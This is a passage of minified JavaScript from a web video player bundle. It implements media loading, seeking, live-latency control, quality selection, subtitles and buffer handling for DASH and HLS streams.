r=t.getTimeForNextSegment(i.getMimeType());n.getNextSegment(i,r)});n.areAllLoadersReady()&&(u?r(n):function(n){n.isLoadingLastPeriod()?(n.areMediaTypesFinalForPlayingPeriod()?n.maybeStop():n.isAVCompletelyLoaded()&&n.signalEndOfStream(),r(n)):n.switchLoadingPeriod()}(n))}(n,t)}(this.mediaPlayerController,this.streamTimeService)},Object.defineProperty(n.prototype,"started",{get:function(){return-1!==this.heartbeatTimeoutId},enumerable:!1,configurable:!0}),n.prototype.start=function(){this.beat()},n.prototype.stop=function(){clearTimeout(this.heartbeatTimeoutId);this.heartbeatTimeoutId=-1},n.prototype.dispose=function(){this.stop()},n}();t.HeartbeatService=f},85586:function(n,t,i){function rt(n){return n===c.ADVERTISING_ISSUER_NAME||n===c.ADVERTISING_RESTORE_ISSUER_NAME}function ut(n,t){var s;if(!e.ModuleManager.has(o.ModuleName.RendererMse)||!n.videoElement)return!1;for(var r=e.ModuleManager.get(o.ModuleName.RendererMse).Ranges,h=n.settings.MIN_SIZE_FOR_GAP_SKIPPING,u=r.findGaps(n.videoElement.buffered,h),f=!1,i=0;i<u.length;i++)s=u.end(i)+r.TIME_FUDGE_FACTOR,Math.abs(s-t)<=.1&&(f=!0);return f}var v=this&&this.__assign||function(){return v=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},v.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.checkIfGapSkip=t.MediaPlayer=void 0;var s,ft=i(92712),y=i(47275),r=i(18665),et=i(60997),u=i(62510),ot=i(57620),c=i(15539),f=i(33696),st=i(76650),l=i(28819),p=i(8272),b=i(17990),a=i(58975),w=i(3464),k=i(42283),d=i(79814),ht=i(331),h=i(46462),e=i(91520),o=i(16368),ct=i(6476),lt=i(3337),at=i(38353),vt=i(43412),g=i(28171),yt=i(36366),pt=i(81660),wt=i(38765),bt=i(4053),nt=i(71827),kt=i(58211),dt=i(59879);!function(n){n.Unloaded="unloaded";n.Preparing="preparing";n.Loading="loading";n.Loaded="loaded"}(s||(s={}));var tt=Object.freeze({id:"auto",bitrate:null}),it=Object.freeze({id:"auto",bitrate:null,width:null,height:null}),gt=function(){function n(n){var t=this;this.timeShiftJumpStart=-1;this.timeShiftEstimatedLiveEdge=-1;this.ignoreNextVideoError=!1;this.ended=!1;this.isDvrWindowExceeded=!1;this.controlPermitted=!0;this.lastPlayIssuer="api";this.lastPauseIssuer="api";this.onSegmentAvailable=function(n){null!=t.relativeCurrentTimeOffset||n.isInit()||(t.relativeCurrentTimeOffset=t.isLive()?t.calcRelativeCurrentTimeOffsetForLive(n):0)};this.onPlaying=function(){t.isLive()&&t.canResumeLatencyControl()&&t.resumeLatencyControl()};this.videoErrorHandler=function(n){t.ignoreNextVideoError?t.ignoreNextVideoError=!1:(t.logger.debug("Caught a video element error: ",n),t.unload(),t.eventHandler.fireError(ot.createPlayerErrorFromMediaError(n)))};this.controlLiveLatency=function(){var n=t.liveLatencyService.getStatus(t.liveLatencyMode,t.getCommonBufferLevel());t.liveLatencyMode!==n.mode&&(t.context.eventHandler.dispatchEvent(u.PlayerEvent.LatencyModeChanged,{from:t.liveLatencyMode,to:n.mode}),t.liveLatencyMode=n.mode);n.mode===u.LatencyMode.Suspended||t.playerStateService.seekingOrTimeshifting||(n.requiredAction===t.lowLatencyModule.LiveLatencyControlAction.Seek?t.goToLiveEdge():n.requiredAction===t.lowLatencyModule.LiveLatencyControlAction.PlaybackRate&&t.setPlaybackSpeed(1,n.actionParam,!1))};this.onPlaybackStarted=function(){t.playerStateService.getIsRendererStalling()?(t.logger.debug("Renderer is currently stalled. Waiting for unstalling before ending stall."),t.clearStallEndedSubscription(),t.unsubscribeFromStallEnded=w.subscribe(t.context.store)(function(n){return a.getPlayerState(n)},function(){return t.endStall()},function(n){return!a.getIsRendererStalled(n)})):t.endStall()};this.onVideoElementPlay=function(){t.ended&&(t.logger.debug("Detected replay attempt from video element"),t.context.internalPlayer.play());t.playerStateService.transitionToPlayState(!0,t.lastPlayIssuer)};this.onVideoElementPaused=function(){t.logger.insane("video element signaled pause in state: ".concat(t.playerStateService.playbackState));t.playerController.maybeTransitionToPausedState(t.lastPauseIssuer)};this.mapLangObjectToAudioTrack=function(n){return{id:n.id,lang:n.lang,label:n.label,role:n.role,getQualities:function(){return g.MediaPlayerManifestApiFactory.getAudioQualities(t.manifestService,t.getCurrentPlayingPeriodId(),n.id)}}};this.onVideoElementSeeking=function(n){var i=ut(t.context,n.time);t.settings.GLOBAL_DISABLE_SEEKING&&!i&&Math.abs(n.time-t.lastCurrentTimeUpdate)>.05&&(t.logger.debug("Seeking now allowed, seeking back to expected time"),t.context.videoElement.currentTime=t.lastCurrentTimeUpdate)};this.onVideoTimeupdate=function(n){if(!t.ended){var i=0===t.renderer.getCurrentTime(!0),r=t.isPlaying(),u=t.playerStateService.isSeeking(),f=t.isStalled();!r||u||f||i?t.logger.debug("Skipping timeupdate",{isPlaying:r,isSeeking:u,isStalled:f,timeUpdateWithoutBuffer:i,time:n.time}):t.handleTimeChanged(t.getCurrentTime())}};this.onContentPlaybackFinished=function(){t.ended=!0};this.onDvrWindowExceeded=function(){t.context.logger.debug("DVR window exceeded");t.playerStateService.isPlaying()?t.handleDvrWindowExceeded():t.isDvrWindowExceeded=!0};this.onError=function(n){3001===n.code&&t.unload()};this.fireAudioTracksAdded=function(){for(var r,f=t.getCurrentTime(),n=0,i=t.getAvailableAudio();n<i.length;n++)r=i[n],t.context.eventHandler.dispatchEvent(u.PlayerEvent.AudioAdded,{track:r,time:f})};this.fireAudioTracksRemoved=function(n){for(var f,i=0,r=t.getAvailableAudio();i<r.length;i++)f=r[i],t.context.eventHandler.dispatchEvent(u.PlayerEvent.AudioRemoved,{track:f,time:n})};this.onPeriodSwitch=function(){t.fireAudioTracksRemoved(t.getCurrentTime())};this.onPlaybackSpeedChanged=function(){t.isLive()&&(t.canResumeLatencyControl()?t.resumeLatencyControl():t.suspendLatencyControl(!1))};this.context=n;this.logger=n.logger;this.config=n.config;this.settings=n.settings;this.renderer=n.renderer;this.eventHandler=n.eventHandler;this.loadState=s.Unloaded;this.context.store.dispatch(st.initializeMetricsForMimeType("default",this.context.settings));this.playerController=new yt.MediaPlayerController(n,this.onSegmentAvailable);e.ModuleManager.has(o.ModuleName.LowLatency)&&(this.lowLatencyModule=e.ModuleManager.get(o.ModuleName.LowLatency));this.eventHandler.on(u.PlayerEvent.PeriodSwitch,this.onPeriodSwitch);this.eventHandler.on(u.PlayerEvent.PeriodSwitched,this.fireAudioTracksAdded);this.eventHandler.on(u.PlayerEvent.PlaybackSpeedChanged,this.onPlaybackSpeedChanged);this.unsubscribeStorePlayingListener=w.subscribe(this.context.store)(function(n){return a.getIsPlaying(a.getPlayerState(n))},this.onPlaying,function(n,t){return n&&!t})}return n.prototype.createServices=function(n,t){var i=t.serviceManager,u,f;this.createSynchronizedTimeService(t);this.createManifestService(t);this.createManifestLoadingService(t,n);this.createManifestUpdateSchedulingService(t);u=e.ModuleManager.get(o.ModuleName.ABR).AdaptationService;i.set(r.ServiceName.AdaptationService,new u(t));i.set(r.ServiceName.TimedMetadataService,new wt.TimedMetadataService(t));i.set(r.ServiceName.SegmentService,new pt.SegmentService(t));f=new dt.StreamTimeService(i,t.sourceContext.sourceIdentifier);i.set(r.ServiceName.StreamTimeService,f);i.set(r.ServiceName.HeartbeatService,new ct.HeartbeatService(i,this.playerController),t.sourceContext.sourceIdentifier);this.createSubtitleService(t);this.createLowLatencyService(t)},n.prototype.createSynchronizedTimeService=function(n){var t=n.serviceManager,i=n.sourceContext.sourceIdentifier,u,f;e.ModuleManager.has(o.ModuleName.DASH)&&(u=e.ModuleManager.get(o.ModuleName.DASH),t.has(r.ServiceName.SynchronizedTimeService,i)||(f=new u.SynchronizedTimeService(n,n.sourceContext),t.set(r.ServiceName.SynchronizedTimeService,f,i)))},n.prototype.createManifestService=function(n){var t=n.serviceManager,i=n.sourceContext.sourceIdentifier;t.has(r.ServiceName.ManifestService,i)?(this.manifestService=t.get(r.ServiceName.ManifestService,i),this.manifestService.restore()):(this.manifestService=new at.ManifestService(n,n.sourceContext),t.set(r.ServiceName.ManifestService,this.manifestService,i))},n.prototype.createManifestLoadingService=function(n,t){var i=n.serviceManager,u=n.sourceContext.sourceIdentifier,f;i.has(r.ServiceName.ManifestLoadingService,u)||(f=lt.createManifestLoadingService(t,n,n.sourceContext),i.set(r.ServiceName.ManifestLoadingService,f,u))},n.prototype.createManifestUpdateSchedulingService=function(n){var t=n.serviceManager,i=n.sourceContext.sourceIdentifier,u;t.has(r.ServiceName.ManifestUpdateSchedulingService,i)?t.get(r.ServiceName.ManifestUpdateSchedulingService,i).restore():(u=new vt.ManifestUpdateScheduler(n,n.sourceContext),t.set(r.ServiceName.ManifestUpdateSchedulingService,u,i))},n.prototype.createSubtitleService=function(n){var t=n.serviceManager,i;e.ModuleManager.has(o.ModuleName.Subtitles)&&(i=e.ModuleManager.get(o.ModuleName.Subtitles).SubtitleService,t.set(r.ServiceName.SubtitleService,new i(n)),this.subtitleService=t.get(r.ServiceName.SubtitleService))},n.prototype.createLowLatencyService=function(n){var t=n.serviceManager;e.ModuleManager.has(o.ModuleName.LowLatency)&&(t.set(r.ServiceName.LiveLatencyService,new this.lowLatencyModule.LiveLatencyService(n)),this.liveLatencyService=t.get(r.ServiceName.LiveLatencyService))},n.prototype.disposeServices=function(n){var u,i=this.context.serviceManager,t;[r.ServiceName.LiveLatencyService,r.ServiceName.SubtitleService,r.ServiceName.TimedMetadataService].forEach(function(n){return y.disposeService(i,n)});t=null===(u=this.context.sourceContext)||void 0===u?void 0:u.sourceIdentifier;t&&(y.disposeService(i,r.ServiceName.HeartbeatService,t),n!==c.ADVERTISING_ISSUER_NAME?[r.ServiceName.ManifestService,r.ServiceName.ManifestLoadingService,r.ServiceName.ManifestUpdateSchedulingService,r.ServiceName.SynchronizedTimeService].forEach(function(n){return y.disposeService(i,n,t)}):(i.get(r.ServiceName.ManifestService,t).suspend(),i.get(r.ServiceName.ManifestUpdateSchedulingService,t).suspend()))},n.prototype.calcRelativeCurrentTimeOffsetForLive=function(n){var t=null!=n.getSegmentInfo().wallClockTime?n.getPlaybackTime()-ht.toSeconds(n.getSegmentInfo().wallClockTime):0;return this.playerController.getSeekableRange().start+t},n.prototype.play=function(n){return this.lastPlayIssuer=n,this.controlPermitted?this.currentSource?this.playerStateService.isPlaying()?(this.logger.debug("Ignoring play call as play was already triggered or we're already playing"),Promise.resolve()):(this.ended=!1,this.isLive()&&(this.isDvrWindowExceeded||this.getMaxTimeShift()>=0)&&(this.context.logger.debug("Handling DVR window excursion - going to live edge"),this.goToLiveEdge(),this.isDvrWindowExceeded=!1),this.playerController.start(),this.playerStateService.transitionToPendingPlayState(!1,n),this.renderer.play()):Promise.resolve():Promise.reject("Play control not permitted")},n.prototype.goToLiveEdge=function(){var n=this;this.settings.ENABLE_SEEK_FOR_LIVE?this.playerStateService.isSeeking()||this.seek(this.getSeekableRange().end,c.INTERNAL_ISSUER_NAME):this.playerController.timeShift(0,function(){return n.onTimeShifted()}).catch(function(){return n.onTimeShiftFailed()})},n.prototype.canResumeLatencyControl=function(){return Boolean(this.liveLatencyService)&&!this.isPaused()&&0===this.getTimeShift()&&1===this.getPlaybackSpeed()&&!this.playerStateService.isTimeShifting()&&!this.playerStateService.isSeeking()},n.prototype.resumeLatencyControl=function(){this.liveLatencyService.resumeControl()},n.prototype.suspendLatencyControl=function(n){void 0===n&&(n=!0);var t=this.liveLatencyMode===u.LatencyMode.Suspended;this.liveLatencyService&&!t&&(this.liveLatencyService.suspendControl(),n&&this.setPlaybackSpeed(1,1,!1))},n.prototype.getCommonBufferLevel=function(){var n=[this.getBufferLevel(f.BufferType.ForwardDuration,f.MediaType.Audio),this.getBufferLevel(f.BufferType.ForwardDuration,f.MediaType.Video)].map(function(n){return n.level}).filter(function(n){return null!==n});return 0===n.length?0:Math.min.apply(Math,n)},n.prototype.endStall=function(){this.clearStallEndedSubscription();this.playerStateService.stallExit();this.playerStateService.transitionToPlayingState(this.lastPlayIssuer);this.ended=!1},n.prototype.preload=function(){this.loadState!==s.Unloaded&&this.playerController&&this.playerController.start()},n.prototype.pause=function(n){this.controlPermitted&&(this.logger.insane("Pause was called via the API"),this.playerStateService.isInitial()||(this.lastPauseIssuer=n,this.isLive()&&this.liveLatencyService&&this.liveLatencyService.isConfigured()&&(this.suspendLatencyControl(),this.controlLiveLatency()),this.playerStateService.isPaused()||this.playerStateService.isStopped()||this.renderer.pause(),this.playerStateService.transitionToPausedState(this.renderer.isPaused(),n)))},n.prototype.mute=function(n){this.isMuted()||(this.renderer.mute(),this.context.eventHandler.dispatchEvent(u.PlayerEvent.Muted,{issuer:n||"api"}))},n.prototype.unmute=function(n){this.isMuted()&&(this.renderer.unmute(),this.context.eventHandler.dispatchEvent(u.PlayerEvent.Unmuted,{issuer:n||"api"}))},n.prototype.maybeAdjustSeekTargetToDiscontinuityStart=function(n){var r,u,s=null===(r=this.getSourceStoreService())||void 0===r?void 0:r.getState(),c,i;if(!s||!this.manifestService.isHlsManifest())return n;for(var h=e.ModuleManager.get(o.ModuleName.HLS).selectors,l=h.getHlsState,a=null!==(u=h.getDiscoSequenceTimings(l(s)))&&void 0!==u?u:{},f=Object.values(a),t=0;t<f.length-1;t++)if(c=f[t].endTime,i=f[t+1].startTime,n>=c&&n<i)return this.logger.debug("Adjusting seek target to discontinuity start: ".concat(n," -> ").concat(i)),i;return n},n.prototype.seek=function(n,t){var i,r,u;void 0===t&&(t="");var f=this.config&&this.config.hasOwnProperty("playback")?this.config.playback:{},s=!f.hasOwnProperty("seeking")||f.seeking,e=this.context.store.getState(),o=!!e&&null!==(u=null===(r=null===(i=a.getPlayerState(e))||void 0===i?void 0:i.seekingProcess)||void 0===r?void 0:r.isInitial)&&void 0!==u&&u,h=![c.STARTUP_ISSUER_NAME,c.INTERNAL_ISSUER_NAME].includes(t);return!(!(o||!this.settings.GLOBAL_DISABLE_SEEKING&&s)||!this.controlPermitted||(n=this.maybeAdjustSeekTargetToDiscontinuityStart(n),this.ended=!1,this.cancelPotentialOngoingTimeShift(),this.playerStateService.transitionToSeekingState(n,t,h),this.context.store.dispatch(b.updateSeekingProcess({issuer:t,targetTime:n,isInitial:o})),0))},n.prototype.cancelPotentialOngoingTimeShift=function(){this.playerStateService.isTimeShifting()&&(this.playerController.getTimeShiftHandler().cancel(),this.playerStateService.transitionToTimeShiftedState(!1))},n.prototype.handleTimeChanged=function(n){n!==this.lastCurrentTimeUpdate&&(this.context.eventHandler.dispatchEvent(u.PlayerEvent.TimeChanged,{time:n}),this.lastCurrentTimeUpdate=n,this.isLive()&&this.liveLatencyService&&this.liveLatencyService.isConfigured()&&this.controlLiveLatency())},n.prototype.setVolume=function(n,t){var i=this.renderer.getVolume();this.renderer.setVolume(n);i!==n&&this.context.eventHandler.dispatchEvent(u.PlayerEvent.VolumeChanged,{targetVolume:n,sourceVolume:i,issuer:t||"api"})},n.prototype.setAudioQuality=function(n){var t,r=this.getAvailableAudioQualities(),i=this.getAudioQuality();(t="auto"===n?tt:r.find(function(t){return t.id===n}))&&i.id!==t.id&&(this.setFixedRepresentation(f.MediaType.Audio,n),this.context.eventHandler.dispatchEvent(u.PlayerEvent.AudioQualityChanged,{sourceQuality:i,sourceQualityId:i.id,targetQuality:t,targetQualityId:t.id}))},n.prototype.getAudioQuality=function(){var n=this.getInitializedMimeTypeFromMediaType(f.MediaType.Audio),t=this.context.serviceManager.get(r.ServiceName.AdaptationService),u=t.isAuto(n),i=t.getCurrentRepresentationId(n);return u||null===i?tt:this.getAvailableAudioQualities().find(function(n){return n.id===i.representationId})},n.prototype.setFixedRepresentation=function(n,t){var i=this.getInitializedMimeTypeFromMediaType(n);this.context.serviceManager.get(r.ServiceName.AdaptationService).setFixedRepresentation(i,t)},n.prototype.setVideoQuality=function(n){var t,r=this.getAvailableVideoQualities(),i=this.getVideoQuality();(t="auto"===n?it:r.find(function(t){return t.id===n}))&&i.id!==t.id&&(this.context.eventHandler.dispatchEvent(u.PlayerEvent.VideoQualityChanged,{sourceQuality:i,sourceQualityId:i.id,targetQuality:t,targetQualityId:t.id}),this.setFixedRepresentation(f.MediaType.Video,n))},n.prototype.getVideoQuality=function(){var n=this.getInitializedMimeTypeFromMediaType(f.MediaType.Video),t=this.context.serviceManager.get(r.ServiceName.AdaptationService),u=t.isAuto(n),i=t.getCurrentRepresentationId(n);return u||null===i?it:this.getAvailableVideoQualities().find(function(n){return n.id===i.representationId})},n.prototype.processSourceContext=function(){var n=this.context.sourceContext;n.source&&n.source.options&&n.source.options.headers&&(this.settings.HTTP_HEADERS=n.source.options.headers)},n.prototype.addReducersToSourceStore=function(n){var t=this.getSourceStoreService(),i;void 0!==t&&(n.type===f.StreamType.Hls&&e.ModuleManager.has(o.ModuleName.HLS)&&!t.hasReducer("hls")&&(i=e.ModuleManager.get(o.ModuleName.HLS),t.addReducer("hls",i.HlsReducer)),Object.keys(nt.engineBitmovinSourceReducers).forEach(function(n){var i=nt.engineBitmovinSourceReducers[n];void 0!==i&&t.addReducer(n,i)}))},n.prototype.addRendererEventListeners=function(){this.renderer.on(h.MediaElementEvent.error,this.videoErrorHandler);this.renderer.on(h.MediaElementEvent.timeupdate,this.onVideoTimeupdate);this.renderer.on(h.MediaElementEvent.seeking,this.onVideoElementSeeking);this.renderer.on(h.MediaElementEvent.playing,this.onPlaybackStarted);this.renderer.on(h.MediaElementEvent.play,this.onVideoElementPlay);this.renderer.on(h.MediaElementEvent.pause,this.onVideoElementPaused)},n.prototype.logBitrateBoundarySettings=function(){this.logger.debug("setting bitrate boundaries for audio to "+this.settings.MIN_SELECTABLE_AUDIO_BITRATE+" - "+this.settings.MAX_SELECTABLE_AUDIO_BITRATE);this.logger.debug("setting bitrate boundaries for video to "+this.settings.MIN_SELECTABLE_VIDEO_BITRATE+" - "+this.settings.MAX_SELECTABLE_VIDEO_BITRATE)},n.prototype.loadInternal=function(n,t){var i,r=this;return this.loadState===s.Unloaded?Promise.reject("Unload during load"):(this.createServices(n,this.context),this.context.sourceContext.source=n.config,(null===(i=this.context.videoElement)||void 0===i?void 0:i.eventHandler)&&this.context.videoElement.eventHandler.reset(),this.currentSource=n,this.ended=!1,this.isDvrWindowExceeded=!1,this.context.store.dispatch(b.updateSeekingProcess({isInitial:!0})),this.logBitrateBoundarySettings(),this.liveLatencyService&&(this.liveLatencyMode=u.LatencyMode.Suspended,this.liveLatencyService.reset()),this.addRendererEventListeners(),this.settings.GLOBAL_DISABLE_SEEKING=t||!1,this.loadState=s.Loading,this.playerController.init(n).then(function(){r.loadState=s.Loaded}))},n.prototype.prepareLoad=function(){var t=this.context.serviceManager.get(r.ServiceName.PlayerStateService),n;return t&&(this.playerStateService=t),n=Promise.resolve(),this.loadState===s.Loading&&(n=this.unload()),this.playerStateService.reset(),this.loadState=s.Preparing,n},n.prototype.load=function(n,t){var i=this;return"dash"!==n.type&&"hls"!==n.type&&"smooth"!==n.type?Promise.reject("invalid source"):(this.addReducersToSourceStore(n),this.processSourceContext(),this.unsubscribeFromStoreStoppedListener=w.subscribe(this.context.store)(function(n){return a.getIsStopped(a.getPlayerState(n))},this.onContentPlaybackFinished,function(n){return!0===n}),this.eventHandler.on(u.PlayerEvent.DVRWindowExceeded,this.onDvrWindowExceeded,!0),this.eventHandler.on(u.PlayerEvent.Error,this.onError,!0),this.renderer.ready().then(function(){return i.loadInternal(n,t)}))},n.prototype.getSourceStoreService=function(){return this.context.serviceManager.get(r.ServiceName.SourceStoreService,this.context.sourceContext.sourceIdentifier)},n.prototype.unload=function(n){var t=this,f,i;return(this.clearStallEndedSubscription(),this.loadState===s.Unloaded)?Promise.resolve():(f=this.loadState===s.Loaded,this.ended=!1,this.loadState=s.Unloaded,this.ignoreNextVideoError=!0,this.relativeCurrentTimeOffset=null,this.renderer.off(h.MediaElementEvent.error,this.videoErrorHandler),this.renderer.off(h.MediaElementEvent.timeupdate,this.onVideoTimeupdate),this.renderer.off(h.MediaElementEvent.seeking,this.onVideoElementSeeking),this.renderer.off(h.MediaElementEvent.playing,this.onPlaybackStarted),this.renderer.off(h.MediaElementEvent.play,this.onVideoElementPlay),this.renderer.off(h.MediaElementEvent.pause,this.onVideoElementPaused),this.unsubscribeFromStoreStoppedListener(),this.eventHandler.off(u.PlayerEvent.DVRWindowExceeded,this.onDvrWindowExceeded),this.eventHandler.off(u.PlayerEvent.Error,this.onError),this.playerStateService.isPlaying()&&this.renderer.pause(),this.playerStateService.reset(),i=this.context.sourceContext.sourceIdentifier,this.context.serviceManager.has(r.ServiceName.SynchronizedTimeService,i)&&!rt(n)&&this.context.serviceManager.get(r.ServiceName.SynchronizedTimeService,i).reset(),(this.playerController?this.playerController.terminate():Promise.resolve()).then(function(){t.currentSource=void 0;t.disposeServices(n);rt(n)||t.getSourceStoreService().dispatch(bt.clearActiveTracksAction());f&&t.eventHandler.dispatchEvent(u.PlayerEvent.SourceUnloaded)}))},n.prototype.isReady=function(){return this.playerController.isInitialized()},n.prototype.isPlaying=function(){return this.playerStateService.isPlaying()},n.prototype.isPaused=function(){return this.playerStateService.isPaused()},n.prototype.hasEnded=function(){return this.ended},n.prototype.isMuted=function(){return this.renderer.isMuted()},n.prototype.isStalled=function(){return this.playerStateService.isStalled},n.prototype.isLive=function(){return this.manifestService.isLive()},n.prototype.getVolume=function(){return this.renderer.getVolume()},n.prototype.getCurrentTime=function(n){return void 0===n&&(n=f.TimeMode.AbsoluteTime),!this.isLive()&&this.hasEnded()?this.getDuration():n===f.TimeMode.RelativeTime?Math.max(0,this.playerController.getCurrentTime()-this.relativeCurrentTimeOffset):this.playerController.getCurrentTime()},n.prototype.getDuration=function(){return this.manifestService.getDuration()},n.prototype.getAvailableVideoQualities=function(){return this.isReady()?this.manifestService.getVideoRepresentations(this.getCurrentPlayingPeriodId()):[]},n.prototype.getAvailableSegments=function(){return this.isReady()?this.playerController.getAvailableSegments():{}},n.prototype.getAvailableAudioQualities=function(){var n=this.getAudio(),t;return!this.isReady()||!n?[]:(t=this.manifestService.getAudioRepresentations(this.getCurrentPlayingPeriodId()),t[n.id]?t[n.id]:[])},n.prototype.getDroppedVideoFrames=function(){return this.renderer.getDroppedVideoFrames()},n.prototype.setTargetBufferLevel=function(n,t,i){this.context.bufferSettings.setTargetLevel(n,t,i)},n.prototype.getBufferLevel=function(n,t){var i={level:null,targetLevel:this.context.bufferSettings.getTargetLevel(n,t),type:n,media:t},r=this.renderer.getCurrentTime(),u=l.getMetricsState(this.context.store.getState()),e=Object.keys(u).find(function(n){return d.MimeTypeHelper.isVideo(n)}),o=Object.keys(u).find(function(n){return d.MimeTypeHelper.isAudio(n)});return t===f.MediaType.Video&&e?i.level=this.playerController.getBufferLevel(e,r,n):t===f.MediaType.Audio&&o&&(i.level=this.playerController.getBufferLevel(o,r,n)),i},n.prototype.getTotalStalledTime=function(){var t=l.getMetricsState(this.context.store.getState()),i,n;for(i in t)if(t[i]&&(n=l.getMetricsLastEntry(t,i,p.MetricType.StalledSeconds),n&&n.value&&!isNaN(n.value)))return Math.round(100*n.value)/100;return 0},n.prototype.getInitializedMimeTypeFromMediaType=function(n){var t=l.getMetricsState(this.context.store.getState());return Object.keys(t).find(function(t){return t.includes(n)})},n.prototype.getDownloadedData=function(n){var u=this.getInitializedMimeTypeFromMediaType(n),i=v({},this.getCurrentAdaptationSet(u)),t=v({},this.getCurrentRepresentation(u));return t.id&&(t.id=""+t.id),void 0===t.width&&void 0!==i.width&&(t.width=i.width),t.width=parseInt(""+t.width),void 0===t.height&&void 0!==i.height&&(t.height=i.height),t.height=parseInt(""+t.height),void 0===t.bitrate&&void 0!==i.bitrate&&(t.bitrate=i.bitrate),t.bitrate=parseInt(""+t.bitrate),t.isAuto=this.context.serviceManager.get(r.ServiceName.AdaptationService).isAuto(u),t},n.prototype.getCurrentRepresentation=function(n){if(this.playerController.hasStarted()){var t=l.getMetricsState(this.context.store.getState());if(t[n])return l.getMetricsLastEntry(t,n,p.MetricType.DownloadedRepresentation).value}return{}},n.prototype.getCurrentAdaptationSet=function(n){if(this.playerController.hasStarted()){var t=l.getMetricsState(this.context.store.getState());if(t[n])return l.getMetricsLastEntry(t,n,p.MetricType.DownloadedAdaptationSet).value}return{}},n.prototype.getDownloadedVideoData=function(){var n=this.getDownloadedData(f.MediaType.Video),t=!0;return n.hasOwnProperty("isAuto")&&(t=n.isAuto),n&&(n.bitrate||n.id)?{id:n.id,bitrate:n.bitrate,height:n.height,width:n.width,isAuto:t}:{id:"",bitrate:0,height:0,width:0,isAuto:!0}},n.prototype.getDownloadedAudioData=function(){var n=this.getDownloadedData(f.MediaType.Audio),t=!0;return n.hasOwnProperty("isAuto")&&(t=n.isAuto),n&&(n.bitrate||n.id)?{id:n.id,bitrate:n.bitrate,isAuto:t}:{id:"",bitrate:0,isAuto:!0}},n.prototype.getPlaybackVideoData=function(){var n=this.playerController.getPlaybackRepresentation(f.MediaType.Video)||{},i=isNaN(n._height)?0:Number(n._height),r=isNaN(n._width)?0:Number(n._width),t={id:n._id+"",bitrate:Number(n._bandwidth)||0,height:i,width:r,uid:n.uid};return n._codecs&&(t.codec=k.CodecStringHelper.getExtractedCodecStrings(n._codecs).video),t},n.prototype.getPlaybackAudioData=function(){var n=this.playerController.getPlaybackRepresentation(f.MediaType.Audio)||{},t={id:n._id+"",bitrate:Number(n._bandwidth)};return n._codecs&&(t.codec=k.CodecStringHelper.getExtractedCodecStrings(n._codecs).audio),t},n.prototype.setQueryParameters=function(n){this.settings.QUERY_PARAMETERS=n},n.prototype.clearQueryParameters=function(){this.settings.QUERY_PARAMETERS=void 0},n.prototype.restoreAfterTimeShift=function(n){this.playerStateService&&(this.playerStateService.isTimeShifting()&&(this.playerStateService.transitionToTimeShiftedState(n),this.timeShiftEstimatedLiveEdge=-1,this.timeShiftJumpStart=-1),this.isLive()&&(this.canResumeLatencyControl()?this.resumeLatencyControl():this.suspendLatencyControl()))},n.prototype.onTimeShiftFailed=function(){this.restoreAfterTimeShift(!1)},n.prototype.onTimeShifted=function(n){this.restoreAfterTimeShift(n!==c.STARTUP_ISSUER_NAME)},n.prototype.getMaxTimeShift=function(){if(this.isLive()&&this.isReady())return this.config.playback&&!1===this.config.playback.timeShift?0:this.playerController.getMaxTimeShift()},n.prototype.timeShift=function(n,t){var i=this;this.isReady()&&this.getMaxTimeShift()<=0&&(-1===this.timeShiftJumpStart&&(this.timeShiftJumpStart=this.getCurrentTime(),0===this.timeShiftJumpStart&&(this.timeShiftJumpStart=this.playerController.getTimeShiftLiveEdge())),-1===this.timeShiftEstimatedLiveEdge&&(this.timeShiftEstimatedLiveEdge=this.playerController.getTimeShiftLiveEdge()),this.playerStateService.transitionToTimeShiftingState(this.timeShiftJumpStart,this.timeShiftEstimatedLiveEdge+n,t||"api",t!==c.STARTUP_ISSUER_NAME),this.playerController.timeShift(n,function(){return i.onTimeShifted(t)}).catch(function(){return i.onTimeShiftFailed()}))},n.prototype.getTimeShift=function(){return this.isReady()?this.playerController.getTimeShift():0},n.prototype.addSubtitle=function(n){var t=this;return this.isReady()&&this.subtitleService?Promise.resolve(void 0).then(function(){t.subtitleService.addExternalSubtitle(n)}):Promise.reject(void 0)},n.prototype.removeSubtitle=function(n){this.isReady()&&this.subtitleService&&this.subtitleService.removeSubtitle(n)},n.prototype.enableSubtitle=function(n){return this.isReady()&&this.subtitleService?this.subtitleService.enableSubtitle(n):Promise.resolve(!1)},n.prototype.disableSubtitle=function(n){return this.isReady()&&this.subtitleService?this.subtitleService.disableSubtitle(n):Promise.resolve(!1)},n.prototype.listSubtitles=function(){return this.isReady()&&this.subtitleService&&this.playerController?this.subtitleService.getAvailableSubtitles(this.getCurrentPlayingPeriodId()):[]},n.prototype.setAudio=function(n){var i=this,t;if(this.isReady()&&this.playerController&&"string"==typeof n){if(t=this.getAudio(),t&&t.id===String(n))return;this.playerController.setAudio(n).then(function(){var n=i.getAudio();n&&t&&n.id!==t.id&&i.context.eventHandler.dispatchEvent(u.PlayerEvent.AudioChanged,{targetAudio:n,sourceAudio:t,time:i.renderer.getCurrentTime()})}).catch(function(n){i.logger.debug("setAudio failed for lang ",n)})}},n.prototype.getAvailableAudio=function(){return this.isReady()&&this.playerController?this.playerController.getAvailableAudio(this.getCurrentPlayingPeriodId()).map(this.mapLangObjectToAudioTrack):[]},n.prototype.getAudio=function(){if(this.isReady()&&this.playerController){var n=this.playerController.getAudio();if(n)return this.mapLangObjectToAudioTrack(n)}return null},n.prototype.getManifest=function(){var n=this.manifestService.getManifest();if(n)return n._isHls?this.getHlsManifest():n.originalDashManifest},n.prototype.getHlsManifest=function(){return e.ModuleManager.get(o.ModuleName.HLS).selectors.getHlsState(this.getSourceStoreService().getState()).masterPlaylist.string},n.prototype.getBufferedRanges=function(){var n=this.playerController.getBufferedRanges(!0);return ft.BufferRangeHelper.getCommonBufferedRanges(n).map(function(n){return{start:n.getStart(),end:n.getEnd()}})},n.prototype.getSnapshot=function(n,t){if(this.isPlaying()||this.isPaused())return this.renderer.getSnapshotData(n,t)},n.prototype.setPlaybackSpeed=function(n,t,i){void 0===t&&(t=1);void 0===i&&(i=!0);this.renderer.setPlaybackSpeed(n*t);this.playerStateService.playbackSpeed!==this.renderer.getPlaybackSpeed()&&this.playerStateService.setPlaybackSpeed(n,t,i)},n.prototype.getPlaybackSpeed=function(){return this.playerStateService.playbackSpeed},n.prototype.permitControl=function(n){this.controlPermitted=n},n.prototype.getSeekableRange=function(){return 